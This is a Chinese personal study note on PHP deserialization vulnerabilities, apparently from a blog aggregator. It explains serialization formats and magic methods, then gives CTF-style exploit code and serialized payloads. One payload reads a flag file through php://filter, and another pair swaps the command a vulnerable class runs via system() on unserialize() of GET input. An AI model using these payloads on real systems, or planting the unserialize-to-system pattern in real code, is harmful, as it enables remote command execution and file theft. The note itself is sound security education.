php反序列化个人笔记

php · 浏览次数 : 0

小编点评

反序列化是指将序列化后的对象重新转变为一个PHP对象的过程。在PHP中,序列化是将一个PHP对象转变为一个序列化字符串,而反序列化则是将一个序列化字符串转变为一个PHP对象。 出现安全漏洞的原因主要有以下几点: 1. 魔术方法被恶意利用:通过在序列化对象时修改其魔术方法,可以在对象的生命周期中插入恶意代码,从而获取敏感信息或实现对服务器的攻击。 2. 序列化数据被篡改:攻击者可能会篡改序列化数据,使得反序列化后的对象不再符合预期的结构,从而导致程序崩溃或产生安全漏洞。 3. 代码逻辑漏洞:在对象的生命周期中可能存在一些逻辑漏洞,如未初始化的成员变量、未捕获的异常等,这些都可能被攻击者利用来发起攻击。 魔术方法本身是为了方便对象传输而设计的,但在某些情况下,它们的调用逻辑可能会导致安全漏洞。例如,在PHP中,当一个对象被反序列化时,会自动调用`__wakeup()`方法。如果这个方法没有被正确地实现,攻击者可以利用它来执行恶意代码。 为了避免安全漏洞,开发者应该仔细检查序列化数据的来源和格式,并确保序列化后的对象结构符合预期。同时,也应该注意审查对象的生命周期和相关逻辑,避免存在潜在的安全隐患。

正文

反序列化

什么是反序列化?

格式转换

序列化:对象转换为字符串或者数组等格式

反序列化:将数组或字符串转换成对象

为什么会出现安全漏洞?

魔术方法

如何利用漏洞?

通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作

反序列化利用分为三类

  • 魔术方法的调用逻辑
  • 语言原生类的调用逻辑,如SoapClient
  • 语言自身的安全缺陷,如CVE-2016-7124

序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的
PHP基本类型的序列化

bool:  b:value =>b:0
int:   i:value=>i:1
str:   s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL:  N

序列化前

<?php
class test{
	public $a=false;
	public $b=3;
	public $c='hello';
	public $d=array(1,2,3,'hello');
	public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化后

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R与r

当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。
不过基础类型不受此条件限制,总是会被序列化

为什么?(看完“分析”以后再看这里)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔术方法

魔术方法 说明
__construct() 构造函数,当对象new时会自动调用
__destruct() 折构函数,当对象被销毁时会被自动调用
__wakeup() unserialize() 时会被自动调用,在其之前
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__callStack() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 在类被当作字符串使用时触发,如echo
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用

这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

exp:

<?php 
class Clazz
{
    public $a;
    public $b;
 
    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?> 

序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R为2代表是第二个反序列化元素被引用

POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
    public $a;
    public $b;
} 
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

这里的 @ 前缀作用如下:

  1. 抑制错误:如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
  2. 继续执行:即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
  3. 安全风险:使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

核心例子

这是一段php代码

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
$cc = new C();
echo serialize($cc);
?>

这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig

我们把代码改一下

<?php
class C{
	public $cmd = 'ipconfig';
	public function __destruct(){
		system($this->cmd);
	}
	public function __construct(){
	echo 'xiaodisec'.'<br>';
	}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";} 
unserialize($_GET[c]);
?>

我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig

然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

(ver:查看当前操作系统的版本号)

与php反序列化个人笔记相似的内容:

php反序列化个人笔记

反序列化 什么是反序列化? 格式转换 序列化:对象转换为字符串或者数组等格式 反序列化:将数组或字符串转换成对象 为什么会出现安全漏洞? 魔术方法 如何利用漏洞? 通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作 反序列化利用分为三类 魔术方法的调用逻辑 语言原生类的调用逻辑

__wakeup()魔术方法绕过(CVE-2016-7124)

# __wakeup()魔术方法绕过(CVE-2016-7124) ## 漏洞简介 在php反序列化数据过程中,如果类中存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

web攻防--PHP反序列化

# web攻防--PHP反序列化 ## 漏洞简介 序列化:把对象转换为字节序列的过程,即把对象转换为可以存储或传输的数据的过程。例如将内存中的对象转换为二进制数据流或文件,在网络传输过程中,可以是字节或是XML等格式。 反序列化:把字节序列恢复为对象的过程,即把可以存储或传输的数据转换为对象的过程。

CTF反序列化wp(ciscn,nss,ctfshowweb入门)

[CISCN 2023 华北]ez_date 题目:

[转帖]linux-shell-命令替换和变量替换

https://www.muzhuangnet.com/show/84054.html 本文摘自PHP中文网,作者步履不停,侵删。 命令替换$() `` 1 Shell 命令替换是指将命令的输出结果赋值给某个变量 Shell 中有两种方式可以完成命令替换,一种是反引号 ,一种是$(),使用方法如下:

PHP 真的不行了?透过 PHP 的前世今生看真相

大家好,我是码农先森。 1994年我出生在湖南的农村,就在同年加拿大的拉斯姆斯·勒多夫创造了 PHP,这时的 PHP 还只是用 Perl 编写的 CGI 脚本。或许是时间的巧合 PHP 变成了我后半生谋生的手段,当时拉斯姆斯·勒多夫写这些脚本的目的,只是为了统计自己网站的访问者。就是这样一个简单的目

七年之痒!一个 PHP 程序员职业生涯的自述

作为一名程序员常常都是与代码为伴,平常写个技术文档或PPT都费劲的人,竟然不知不觉地写了这么多文字,我也是感到十分的惊讶。17年毕业到今年刚好七年了,俗话说七年之痒,这一次的自述也算是对自己一个职业生涯的复盘了。

PHP转Go系列 | GET 和 POST 请求的使用姿势

大家好,我是码农先森。 说到 HTTP 请求工具想必对我们做 Web 开发的程序员都不陌生,只要涉及到网络请求都必须使用。对于我们 PHP 程序员来说,最熟悉不过的就是 CURL 扩展,只要安装的这个扩展便可随意发起 HTTP 请求。 但在 PHP 语言中还有一个很好用的 Composer 包「gu

php不使用Office包实现上万条数据导出表格

经过上传客户要求主副表迁出,又提出可以将某张表的数据导出excel,听着很简单,实际看数据表发现上万条数据,并且需要关联表查询相关字段,导出的表格才可以被客户看明白。 要是使用office包目前后台内存耗尽,被迫停止运行,所以想要突破百万条数据导出需要另辟它路。所以就是使用了导出CSV并非excel

php+sql后台实现从主表迁出至副表(数据超万条)

上万条甚至上百万数据进行迁出做备份或者进行不妨碍原系统数据的操作,现在很多企业都会用到,目前就需要将上百万条数据进行迁出到副表保存并操作,直接再后台写一个按钮进行操作,既方便操作也不会很慢。毕竟是客户需要,不能每次迁出都要客户去数据库操作,操作的不好那数据危险度挺高的。 1、分页查询数据库主表数据